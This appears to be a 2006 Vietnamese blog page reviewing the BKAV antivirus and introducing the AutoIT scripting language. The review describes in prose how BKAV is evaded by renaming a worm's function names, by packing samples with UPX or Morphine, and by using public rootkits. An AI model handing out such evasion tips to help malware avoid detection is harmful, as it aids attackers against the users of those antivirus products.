-Khả năng diệt virus là yếu tố quan trọng hàng đầu của bất kỳ chương trình diệt virus nào.Khả năng này được hình thành dựa vào các yếu tố như : cơ sở dữ liệu định dạng virus , thuật toán quét virus và sức mạnh của chương trình. Về mặt cở sở dữ liệu định dạng virus thì BKAV có lẽ khá lép vế trước các phần mềm trên thế giới (nếu so với Symantec AV thì có lẽ là BKAV ít hơn khoảng 80 lần).BKAV thường chỉ được cập nhật những lọai virus thông dụng ở Việt Nam còn những loại virus thông dụng trên thế giới thì chương trình không cập nhật.Khi cho BKAV quét những loại virus hay rootkit thông dụng như hxdef , AFXRootkit2005 , winlogonhijack , fu ,futo… thì chương trình đều không phát hiện được . Điều đáng nói là tất cả những virus (rootkit) được kiểm tra ở trên đều được mở mã nguồn và bất kỳ dân tay mơ nào cũng có thể sử dụng. Về thuật tóan quét virus : Thử nghiệm trên virus Blaster . Khi thay đổi tên các hàm của virus bằng cách thêm vào sau nó một ký tự thì sẽ vô hiệu hóa được BKAV . Theo tôi biết thì trên thế giới chỉ có Symantec AV và Norton AV bị mắc lỗi sơ đẳng này.Thông thường thì khi quét virus chương trình sẽ dò ra một đọan mã đặc trưng cho từng virus (đọan mã này thường là tên các hàm hay hằng số của virus).Để không bị phát hiện ,ta chỉ cần thay đổi tên hàm hoàn toàn chứ không phải chỉ là thêm một ký tự. Về sức mạnh : BKAV không thể diệt được những virus (ở đây là Sasser ,Blaster và một số lọai virus thông dụng hiện nay) được đóng gói bằng WINRAR , WinZIP ,UPX , Morphine… Ngòai ra với những virus được rootkit bảo vệ thì BKAV cũng không thể diệt được (không phát hiện ra được hoặc không thể làm cho chương trình virus ngừng chạy).Đánh giá :khả năng diệt virus của BKAV chỉ ở mức trung bình yếu nếu so với những anh hào khác.
-Ngoài khả năng diệt virus thì chế độ tự bảo vệ là yếu tố quan trọng nhất.Chế độ tự bảo vệ được xem xét về hai mặt là : tốc độ và hiệu quả. Về mặt tố độ thì BKAv có lẽ đã đánh bại nhiều anh hào khi chỉ chiếm bộ nhớ khoảng 2 MB . Điều này có lẽ là lợi thế lớn nhất của BKAV.Về mặt hiệu quả thì BKAV chặn được tất cả những virus khi chúng vừa tính chạy.Về mặt bảo vệ tự động thì BKAV không thua kém bất cứ chương trình nào.
-Về khả năng chống virus đánh trả thì BKAV không có tính năng này. Bất kỳ chương trình virus nào cũng có thể tiêu diệt BKAV . Điều này thực sự bất lợi cho BKAV nếu chương trình được thực thi ở máy đã nhiễm virus.Con số không là điểm dành cho BKAV ở mặt này.
-Kết luận : BKAV là chương trình chống virus chỉ thích hợp cho thị trường Việt Nam , nơi mà những kẻ phát tán virus hầu như chỉ là những tay mơ.Tuy nhiên nếu BKAV không nâng cấp sức mạnh của mình thì trong vòng vài năm tới có lẽ chương trình sẽ khó giành được thị phần tại Việt Nam.
Đăng bởi : Huỳnh Bá Thành

Tháng Mười 5, 2006

Giới thiệu về AutoIT

Filed under: Bài phân tích - Hướng dẫn — hardsoftvn @ 6:58 sáng

autoitpicĐây là loại ngôn ngữ kịch bản (scripting language) dùng để tự động hóa các thao tác trên Windows, nguyên lý hoạt động của nó cũng tương tự như VBScript, hay JavaScript.
AutoIT được cung cấp hoàn toàn miễn phí!

Phiên bản : Phiên bản được sử dụng phổ biến hiện nay là AutoIT v3, không giống như phiên bản 2, phiên bản 3 được tác giả cập nhật với một số tính năng đột biến sau :

  • Chuẩn hóa về mặc ngôn ngữ(tương tự VbScript) : giúp cho mọi người đều có thể viết  dễ dàng.
  • Không phụ thuộc vào môi trường hoạt động : có thể nói nó chạy được trên mọi phiên bản Windows
  • Giả lập bàn phím : Chức năng này được cái script kiddie Việt lợi dụng để viết virus.
  • Giả lập được thao tác di chuyển và nhấn chuột.
  • Di chuyển, thay đổi kích thước, và nhân bản cửa sổ chương trình.
  • Giao tiếp trực tiếp với các đối tượng của Windows : Ví dụ : thêm/lấy nội dung của một ô văn bản chỉ định, chọn một đối tượng trong hộp danh sách, kiểm tra các tùy chọn của hộp tùy chọn.
  • Làm việc với bộ đệm của Windows : thực hiện việc sao chép, lấy thông tin từ bộ đệm.
  • Có thể thực hiện chạy phân quyền (Run as): chức năng này chỉ thực hiện được với Windows 2000/XP/2003

Nhìn nhận dưới góc độ kỹ thuật thì AutoIT khá hay, nhưng việc lạm dụng nó để viết các chương trình mang mục đích phá hoại thì không tốt.
Các bạn có thể xem thêm thông tin tại đây http://www.autoitscript.com
Đăng bởi : Huỳnh Bá Thành

Tạo một blog miễn phí với WordPress.com.